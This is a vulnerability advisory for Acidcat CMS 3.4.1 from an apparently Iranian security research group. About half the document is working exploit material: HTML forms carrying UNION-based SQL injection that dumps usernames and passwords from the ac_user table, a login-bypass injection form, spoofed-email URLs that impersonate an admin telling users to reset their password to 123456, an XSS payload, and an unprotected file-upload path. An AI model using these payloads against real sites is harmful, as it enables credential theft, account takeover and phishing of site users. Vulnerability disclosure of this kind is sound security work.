########################## www.BugReport.ir #######################################

AmnPardaz Security Research Team

Title: Acidcat CMS Multiple Vulnerabilities.

Vendor: www.acidcat.com

Vulnerable Version: 3.4.1

Exploit: Available

Impact: High

Fix: N/A

Original Advisory: http://bugreport.ir/index.php?/36

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1. Description:
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   Acidcat CMS is a web site and simple Content Management System that can be administered via a web
   browser.

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2. Vulnerability:
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2.1. There is a SQL Injection in "default.asp". By using it, attacker can gain usernames and
encrypted passwords.
2.1.1. POC:
Check the exploit section.
2.2. There is a logical vulnerability in which attacker can send email by the site without any
permission.
2.2.1. POC:
Check the exploit section.
2.3. There is a SQL Injection in "main_login2.asp". By using it, attacker can login to the site.
2.3.1. POC:
Check the exploit section.
2.4. There is a XSS in "/admin/admin_colors_swatch.asp".
2.4.1. POC:

/admin/admin_colors_swatch.asp?field=value='';}alert('XSS');function(){myForm.myText
2.5. There is a FckEditor which has no permission, and attacker can upload his/her file.
2.5.1. POC:
/admin/fckeditor/editor/filemanager/connectors/test.html
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3. Exploits:
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Original Exploit URL: http://bugreport.ir/index.php?/36/exploit

    3.1. Attacker can gain usernames and passwords:
    -------------
            <form action="http://[The URL]/default.asp?formType=&itemID=" method="post">
            <input type="text" name="cID" id="cID" value="-1 union select

1,username,3,password,5,6,7,8,9,10,'1-1-2000','1-1-2010' from ac_user" />
<br />
<input type="submit" value="Submit" />
</form>

    -------------
    3.2. Attacker can send email without any permission:
    -------------
            default_mail_aspemail.asp?

AcidcatSend=1&[email protected]&FromName=FakeAdmin&[email protected]&Subject=Forgery&Body=Change your
password to 123456!

            default_mail_cdosys.asp?

AcidcatSend=1&[email protected]&FromName=FakeAdmin&[email protected]&Subject=Forgery&Body=Change your
password to 123456!

            default_mail_jmail.asp?

AcidcatSend=1&[email protected]&FromName=FakeAdmin&[email protected]&Subject=Forgery&Body=Change your
password to 123456!
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3.3. Attacker can login to the site:
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<form action="main_login2.asp" method="post">
<input type="hidden" name="username" id="username" value="FooNot' union select
1,2,3,'%CE%10%C9%CE%AC%0F%F3%07A%91%8B%1B%9FF%2D%DF%EBcO%9Au%5F%28%80%A5%0D%D0%89%EA%EF%3E%BB%BDx%5F%0EM%7C%09%2C%B6s%9D%EAa%2FqX%7E%08%05%CAZ%26%1ET%10%CE'
from ac_user where Username='1'or'1'='1'or'1'='1" size="200"/>
<br />
<input type="hidden" name="password" id="password" value="0" />
<br />
<input type="submit" value="Click To Login!" />
</form>
-------------
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4. Solution:
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Edit the source code to ensure that inputs are properly sanitized.
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• Credit :
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  AmnPardaz Security Research & Penetration Testing Group
  Contact: admin[4t}bugreport{d0t]ir
  WwW.BugReport.ir
  WwW.AmnPardaz.com